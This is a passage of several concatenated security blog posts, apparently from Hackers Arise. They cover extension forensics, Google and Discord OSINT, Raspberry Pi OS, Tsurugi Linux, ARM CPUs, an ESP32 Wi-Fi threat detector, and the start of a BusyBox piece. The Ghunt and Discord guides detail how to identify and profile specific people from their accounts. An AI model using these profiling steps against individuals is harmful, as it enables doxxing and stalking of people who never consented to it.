This tab provides extracted domains, URLs, and external JS files. For full functionality, navigate to the settings menu inside the web interface and enter your VirusTotal API key to enable automated hash and domain scans.

And last but not least is the tab with extracted intelligence.

ExtAnalysis automatically scans all extension files to parse and extract hardcoded threat indicators, including IPv4 and IPv6 addresses, domains, full URLs, Bitcoin wallet addresses, and email addresses. It also detects Base64-encoded strings and raw file comments.

Workflow for Analyzing an Extension

Start by submitting the target extension for analysis. Next, review its manifest file and requested permissions to identify any overreach or suspicious capabilities. Then, inspect the interactive visual graph to map external domains, C2 infrastructure, and suspicious third‑party endpoints. After that, extract intelligence and IOCs by checking the dedicated tabs for hardcoded IP addresses, Base64 strings, Bitcoin wallet addresses, and other indicators of compromise. Finally, perform a code audit by opening JavaScript files in the built‑in viewer, applying the code beautifier, and inspecting background scripts for keyloggers, credential‑harvesting triggers, or other malicious logic.

Important Limitations to Keep in Mind

ExtAnalysis performs static analysis only, scanning extension source files without capturing runtime execution or behavior triggered dynamically. Heavily obfuscated JavaScript or sandbox‑evasion scripts can obscure its automated analysis, reducing visibility into malicious logic. For this reason, security researchers typically use ExtAnalysis as a fast first‑step reconnaissance tool to map structure and permissions before proceeding to dynamic analysis.

Summary

Web browser plugins make our lives easier, but if plugin developers have malicious intent, they can introduce significant security risks. In this article, we explored static analysis of extensions using the ExtAnalysis tool. Always pay attention to what you install, and stay secure.

The post Browser Forensics: Analyzing Suspicious Extensions with ExtAnalysis first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and OSINT enthusiasts!

These days, it’s hard to find someone who doesn’t have a Google account. With the massive Google ecosystem out there, knowing how to dig into a Google account can be super useful for OSINT investigations. Ignoring it means missing out on a goldmine of information.

Therefore, in this article, we’re going to dive into using the Ghunt tool to investigate Google accounts effectively. Let’s get rolling!

What is Ghunt?

Ghunt is an open-source security framework created by the researcher mxrch. It helps gather public information connected to Google accounts. What’s important is that the tool does not break into accounts or exploit system bugs. Instead, it extracts publicly exposed data directly from Google services and internal APIs.

Investigators can start a search using a target email address, a Gaia ID, a Google Drive share link, or a Google Maps link. It can reveal an account’s unique Gaia ID, last profile edit timestamp, uploaded photos, and Google Maps reviews. It can also check for active services like Google Calendar or YouTube.

Step #1: Installation and Setup

At the time of writing, the version of Ghunt published on PyPI was not working. So, the recommended way to install this tool is directly from the Git repository.

kali> pip3 install pipx
kali> pipx ensurepath
kali> pipx install git+https://github.com/mxrch/ghunt

To check if everything works, we can open the help screen.

kali> ghunt -h

You should see the output above. To continue, we need to authenticate Ghunt with Google. To do so, we need to download the Ghunt Companion extension for Firefox or Google Chrome.

This plugin will load all the necessary cookies to use Ghunt correctly. After installing it, you will need to sign in to your Google account, and at the end, you will see the screen below.

In this demonstration, I will use method number 2. Just click Launch, and the credentials will be copied to the clipboard. After that, run:

kali> ghunt login

And enter the token. Credentials will be saved locally, and in the next runs of the tool, you won’t need to enter them again.

Step #2: Modules

Once authenticated, you have the following search options:

email: Get information on an email address.

gaia: Get information on a Gaia ID.

drive: Get information on a Drive file or folder.

geolocate: Geolocate a BSSID.

Let’s gather information on email:

kali> ghunt email <email>

First, the output includes a link to the user’s custom profile image. The next valuable pieces of information are the date the profile was last edited, the Gaia ID, and the list of activated Google services. A Google Gaia ID is a unique, persistent identifier assigned to a user that serves as the foundational token for Google’s centralized authentication infrastructure, enabling the company to recognize users and link their data, preferences, and activity across services such as Gmail and YouTube.

In addition, Ghunt can display Google Maps–related data associated with the account.

It includes all the activities that the user did, including photos and incident reports, if there are any.

Another Ghunt module is information gathering by Gaia ID. It works identically to how it does with email, so let’s move into the Drive module. Here we need to provide Ghunt with a Google Drive file ID. You can find this ID by right-clicking a file in Google Drive, selecting “Get link,” and copying the ID from the resulting URL, which appears after /d/.

kali> ghunt drive <file_id>

Here we can see that we found the timestamp and even the source application details. By scrolling down, we can see who the owner of the file is.

Pretty useful, I think.

Next, the module is geolocation of BSSID. But it returns approximate positions, and it won’t resolve every BSSID. So let’s not focus on that and move into the last module, spiderdal. It follows Google Digital Asset Links declarations to identify related web or Android app assets.

kali> ghunt spiderdal -u <domain>

Crawled the domain looking for Google-related data and confirmed the website itself. It discovered that the official Android app domain is tied to a domain and extracted the app’s SHA-256 signing certificate fingerprint.

Summary

A Google account is primarily designed to give users access to Google services. Over time, as a person stores more of their digital life within the Google ecosystem, the account accumulates a large amount of information that can be highly valuable for OSINT investigations. Tools like Ghunt provide a convenient way to access and analyze some part of that information. I recommend testing Ghunt, as it may earn a place in your OSINT toolbox.

If you’re looking to enhance your OSINT skills, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Investigating Google Accounts with Ghunt first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and OSINT investigators!

During the OSINT investigation, we might find a situation where a target has a presence on the Discord platform. According to Demadsage, there are 259 million monthly active users on Discord. Therefore, leaving this source of intelligence would be unwise. But unlike regular social media, Discord’s data is kept in semi-private “servers,” so investigators have to engage actively and correlate the data rather than just observe through third-party tools. And this requires more investment in tools and awareness of visibility risks.

Therefore, in this article, we will explore the first steps to get started with OSINT on Discord users. Let’s get rolling!

Step #1: Search Architecture

Discord has powerful built-in search, which acts like a localized “Dorking” system. To get started using it, we just need to click on the top-right search form. As you can see below, it has 4 core operators for filtering.

Operator	Functional Logic	Investigative Application
from:	Filters messages by a specific user.	Isolate the entire chat history of a person of interest to map behavioral patterns and communication style.
has:	Filters for specific message contents (link, file, video, image).	Intercept high-value artifacts.
in:	Limits search to a specific channel.	Filter the investigation to high-signal channels like #introductions or #portfolio
mentions:	Filter messages by mentioned user	Check who communicated with a mentioned user

Besides that, Discord offers 3 more filters after clicking “More filters”.

This built-in search serves as a good start for investigation. Just by writing a good query, you can sort through tens of thousands of messages. And sometimes, even find leaked access credentials.

Another important thing here is the images. Sometimes folks shared photos from their college graduation years ago or a first-day-on-the-job photo. Or even some family photos. Therefore, even with simple search filters, a lot of interesting data can be found.

Step #2: Linked Accounts

One of the easiest ways to find the real name of a Discord user is to look into linked accounts. Originally, Discord was built for gamers, and these linked accounts were intended to share in-game status and activities. But eventually, the list of supported services grew very long, and now users can connect their Facebook, GitHub, and even PayPal accounts.

In the screen above, we can see a list of services and a YouTube channel, which appears to be a real name.

Step #3: Server Nicknames

In Discord, every user can create a different username for every server they join.

This is useful because users might set up their real names or provide additional information for the investigation on other servers. To check it, just click “View full profile” and then the three dots.

Step #4: Discord ID

A Discord ID is a unique 18-digit number, and everyone has one. Users, messages, servers, and even bots all have one. The advantage of this is that while a username can be changed, a user’s ID cannot. Discord, in turn, uses these IDs to store all user data, including the history of name changes.

To find a Discord ID, all we need to do is enable developer mode. To do this, click the gear icon next to your name (in the lower-right corner), and in the settings menu that opens, look for the “Developer” section. There, enable “Developer Mode.”

Now find the user you’re looking for and click on their name. An actions menu will open; you’ll see three dots. Click on them, and you’ll see the “Copy User ID” button.

Step #5: Cord.Cat Tool

After gathering the user’s ID, we can move into the usage of dedicated tools for Discord OSINT. One of them is the Cord.cat website. The core function of Cord.cat is resolving a Discord “snowflake” (the numeric user ID) into a complete, sourced picture of the account. But beyond basic profile data, the platform checks for breaches, FiveM records, and DSA sanctions. To get started, we just need to enter the user’s ID on the website. You will see output like below.

Here we can see that this account wasn’t found in breaches; there are no sanctions, etc. On the left, we can see the account creation date and links to download the avatar, decorations, and nameplate. By scrolling below, we can see more info.

We can see that the user has a low risk score according to the assessment. If we scroll down, we can see additional information like this.

We can see servers where this user is joined, and we can see whether this ID has an account on Discord-related websites.

Summary

Discord has huge potential for OSINT. Especially if we look into it not just as a communications channel for gamers, but as a tool for a wide range of people, where there are even cases when companies use this tool for employee communications. Although it has semi-private servers, with the correct approach, this social platform can provide good intelligence.

If you’re looking to enhance your OSINT skills, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Gathering Information on Discord Users first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Using a Raspberry Pi board with Pi OS is a great way to jump into cybersecurity. You don’t need a lot of fancy gear to get started. Just hook it up to a TV, grab a keyboard and mouse, connect to the internet, and you’re all set with a solid system to explore Linux, programming, and hacking.

In this article, we’ll walk through how to install Raspberry Pi OS Desktop on a Raspberry Pi 4 and check out all the cool tools and features it has to offer. Let’s get rolling!

Step #1: What Is Raspberry Pi OS?

Raspberry Pi OS is the official operating system for Raspberry Pi single-board computers. It was launched back in July 2012 under the name Raspbian, which combines Raspberry Pi and Debian. The OS was created to give early users a stable Linux environment that’s tailored to the hardware’s simpler specifications.

There are three different versions of Raspberry Pi OS, each aimed at different users. The Desktop edition is the most beginner-friendly, featuring the PIXEL (Pi Improved Xwindow Environment Lightweight) desktop environment and popular apps like Chromium, and VLC. This version, requiring at least 32 GB of storage.

Raspberry Pi OS Full includes the desktop and all recommended software. It’s got everything from the regular desktop edition and some additional tools.

The Lite version is perfect for folks who prefer the command line to a graphical desktop. It’s great for servers, headless apps, and projects that need to be light on resources, giving savvy users the flexibility to tweak things just the way they like.

This article focuses on the Desktop edition, the one most new users will download first, and a perfect starting point for exploring what Raspberry Pi can do.

Step #2: Installing Raspberry Pi OS

Installing Raspberry Pi OS is pretty straightforward. First, make sure you have a Raspberry Pi, preferably models 3, 4, 5, 400, or 500 if you want the desktop version. You’ll also need a microSD card of at least 32 GB, a computer to set up the SD card, a micro-HDMI cable, and a monitor. The newer Raspberry Pi 4 and 5 use micro-HDMI, while the older models need full-size HDMI. Don’t forget about a keyboard, a mouse, and a power supply.

To install the OS on the microSD card, use the Raspberry Pi Imager. It is the official tool for creating the OS image and handles everything from downloading to writing and verifying in a single app. If you’re on Linux, open up your terminal and type:

sudo apt install rpi-imager

Once it’s running, you’ll see a screen that looks like what’s shown below.

Click on ‘Raspberry Pi Device’ and pick your model so Imager shows only the OS versions that work with your hardware.

Next, tap on ‘Operating System’.

If you’re new to this, go for ‘Raspberry Pi OS (64-bit)’ at the top since that’s the standard Desktop edition. If you want the Full edition with extra features, just scroll down to ‘Raspberry Pi OS (other)’ and pick ‘Raspberry Pi OS Full’.

After that, plug your microSD card into your computer’s card reader. Hit ‘Storage’ and select your card, making sure you’ve got the right one, since Imager will wipe everything on it. Then, click ‘Save’, then ‘Write’. Imager will download the latest OS image or use one you already have, write it to the card, and check that everything went smoothly.

Finally, once Imager gives you the green light, safely eject the card and boot into your Raspberry Pi.

Step #3: First Boot

Insert the prepared microSD card, connect the display using HDMI, plug in your USB keyboard and mouse, and then connect the power supply. The Raspberry Pi will turn on automatically when you power it up; there’s usually no separate power button on most models.

Then, the setup wizard will guide you through a few easy steps. You’ll set up your location and keyboard layout, create a new username and password to replace the default ones, connect to Wi-Fi, and you can even check for software updates before diving into the desktop.

Eventually, you’ll see a desktop that looks something like this:

The top panel has quick-access icons for the tools you use most, such as the file manager, web browser, and terminal. Click on the leftmost icon to open the application menu, which sorts all your installed software into easy categories like Programming and Internet.

By default, a limited number of apps are installed, but you can easily install additional ones through GUI app installers or the terminal.

Step #4: Key Features and Benefits

Raspberry Pi OS is different from regular Linux distributions because it’s made specifically for Raspberry Pi hardware. Everything, from the kernel to the GPU drivers, is tuned to get the best performance out of the Pi’s ARM processor and VideoCore GPU. The packages in the Raspberry Pi OS repository are compiled with specific optimizations that you won’t find in standard ARM versions of Debian or Ubuntu.

Another great thing about Raspberry Pi OS is that it’s designed to use as little memory as possible from the start. The PIXEL desktop environment, along with some basic background services, uses only about 300–400 MB of RAM at boot, leaving plenty of memory for your applications.

And finally, Raspberry Pi OS is completely free to download, install, and use with no license fees or subscription costs.

Summary

Raspberry Pi OS Desktop isn’t just a lightweight Linux version made for some weird hardware. It’s actually built specifically for the unique features and limitations of Raspberry Pi devices. You can really see this design approach in everything, from how efficiently the system runs to how well the hardware works together and even how clear the documentation is.

If you’ve gone through the article, you’re all set up to dive into learning cybersecurity. At this point, it’s a good idea to check out the Hackers-Arise Cybersecurity Starter Bundle and kick off your journey to becoming a master hacker.

The post Raspberry Pi for Hacking: Is Pi OS Best for Beginners? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Imagine this: you need to keep tabs on a sketchy person who may be involved in fraud. You’ve got some info about them and access to a laptop, ready to dive into your investigation. But as you start digging, you realize your system is missing the right tools for an OSINT investigation. Sure, you could set everything up on Kali Linux or Parrot OS, but that could take hours.

That’s where Tsurugi Linux comes in. In this article, we’ll break down what Tsurugi Linux is, how to get it installed, and what cool features it brings to the table for OSINT investigations. Let’s get rolling!

What is Tsurugi Linux

Many newcomers to open-source intelligence often turn to Kali Linux or Parrot OS as their first specialized distributions, and both are effective tools. However, neither was specifically designed for OSINT purposes. Kali Linux, for instance, is primarily an offensive penetration-testing platform. While it includes some OSINT utilities, its main focus is on exploitation rather than investigation. This is where Tsurugi Linux comes in.

Tsurugi Linux is a free and open-source Linux distribution specifically tailored for incident response and OSINT investigations. Its name, inspired by a Japanese double-bladed sword, reflects its dual emphasis on active intelligence gathering and passive forensic analysis. Tsurugi addresses the challenge of consolidating and curating over 300 specialized tools, thereby saving users the tedious process of installing and configuring each tool individually on a generic system. Instead, Tsurugi provides a pre-packaged, user-friendly environment organized by investigative categories, allowing users to become productive in just hours rather than days.

The Three Flavors of Tsurugi

Before downloading anything, it’s important to understand that Tsurugi is available in three distinct forms, each serving a specific purpose. Tsurugi Linux LAB is the full 64-bit distribution that we will focus on in this article. It includes the complete toolkit and is designed to be installed on a dedicated machine or run in a virtual machine for hands-on analysis and OSINT investigation.

Tsurugi Acquire is a lighter 32-bit version that contains only the essential tools needed for live disk acquisition.

Finally, BENTO is a portable forensics toolkit that you can carry with you and run directly from a USB device, allowing you to conduct live investigations on machines that cannot be taken away.

For getting started purposes, Tsurugi Linux LAB is your target, and you can find the latest ISO image on the official project website at tsurugi-linux.org.

How to Install Tsurugi Linux

In this demonstration, I will install Tsurugi Linux on VirtualBox. To get started, we need to download the latest ISO image from the website and create a new virtual machine based on it.

It is recommended to allocate at least 4 gigabytes of RAM and 60 gigabytes of disk space during the creation process. Once this is done, you can boot the machine. A desktop like the one shown below will welcome you.

First Look

When you boot for the first time, you will see the MATE desktop environment. The taskbar at the top offers quick access to files, an application launcher, a web browser, and a terminal emulator named Terminator.

When you open the Applications menu, you will notice a typical range of categories. Like most distributions, it includes programs for internet browsing, programming, office tasks, various media players, and other standard software that is unlikely to surprise anyone. However, our main focus is on the first item in the menu, labeled TSURUGI.

The top-level categories include OSINT, Memory Forensics, Malware Analysis, Network Analysis, and others. We will not delve into specific tools here; some have been covered in previous articles, and we will address others that haven’t been discussed yet, provided they warrant our attention.

The Tsurugi Browser

Tsurugi Linux ships with a well-known version of the Firefox browser, preinstalled with extensions.

Let’s take a look at some of them.

Tampermonkey is a browser extension that enhances your browsing experience by allowing you to run userscripts on websites. Userscripts are small programs that modify page layouts, add or remove features, and automate actions to personalize your web experience.

DNSlytics lets you retrieve information about a domain, including WHOIS data, DNS records, and more.

NoScript is a browser extension that enhances online security and privacy by blocking JavaScript, Flash, Java, and other potentially harmful content on websites, only allowing execution from sites you explicitly trust.

Additional Features of Tsurugi Linux

The developers of Tsurugi Linux have worked hard to ensure that the operating system is as versatile as possible, making it suitable for a wide range of situations. To achieve this, they have included a vast array of utilities. Notably, they have highlighted OSINT (Open Source Intelligence) as a distinct category that has received special attention.

A dedicated OSINT profile has been introduced, and you can activate it by selecting the OSINT Switcher on the desktop or in the menu. Once enabled, most sections unrelated to OSINT will be removed from the menu, leaving only the relevant options you might need. Additionally, the wallpaper will change to provide a visual indicator of the active profile, ensuring you won’t confuse it with others.

Another valuable feature is the Write Blocker. This is an extra layer of protection against any malicious activity. The external storage device, such as a USB flash drive, will only be accessible in “read-only” mode when connected. To enable writing, select the TSURUGI device unlocker on the desktop. Then, in the window that opens, select the desired device and click “Unlock.”

Summary

Tsurugi Linux is a great choice for beginners starting with OSINT or digital forensics. It provides a friendly and well-equipped environment. While it won’t make you an expert right away, it will help you learn OSINT more quickly.

If you’re looking to enhance your OSINT skills, consider exploring our OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Is Tsurugi Linux the Most Powerful OS for OSINT? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.

Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!

What is ARM?

ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.

Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).

What is an ARM-Based CPU?

ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.

This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.

The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.

Core Principles of RISC Design

RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.

A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.

To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.

The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.

Feature / Approach	CISC (e.g., x86)	RISC (e.g., ARM)
Instruction complexity	Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)	Breaks tasks into multiple simpler instructions
Execution example	One instruction: load → compute → store	Three separate instructions: load → compute → store
Decoding logic	Intricate and complex	Simpler, more uniform
Clock cycles per instruction	Often multiple cycles	Usually one cycle per simple instruction
Hardware requirements	Substantial hardware for decoding and execution management	Less hardware for decoding, more uniform control logic
Power & design impact	Higher power consumption and design complexity	Lower power consumption, simpler design
Optimization	Harder to optimize individual operations	Easier to optimize each step independently
Parallel execution	More difficult	Easier to achieve

Energy Efficiency

Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.

Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.

Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:

LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.

big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).

This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.

Apple M-series Chips

The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.

Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.

For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.

The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.

By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.

Summary

In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.

The post ARM CPU Architecture: The Power of Simplicity and Efficiency first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.

BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.

In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!

What is BusyBox?

BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.

Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.

History and Development

BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.

The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.

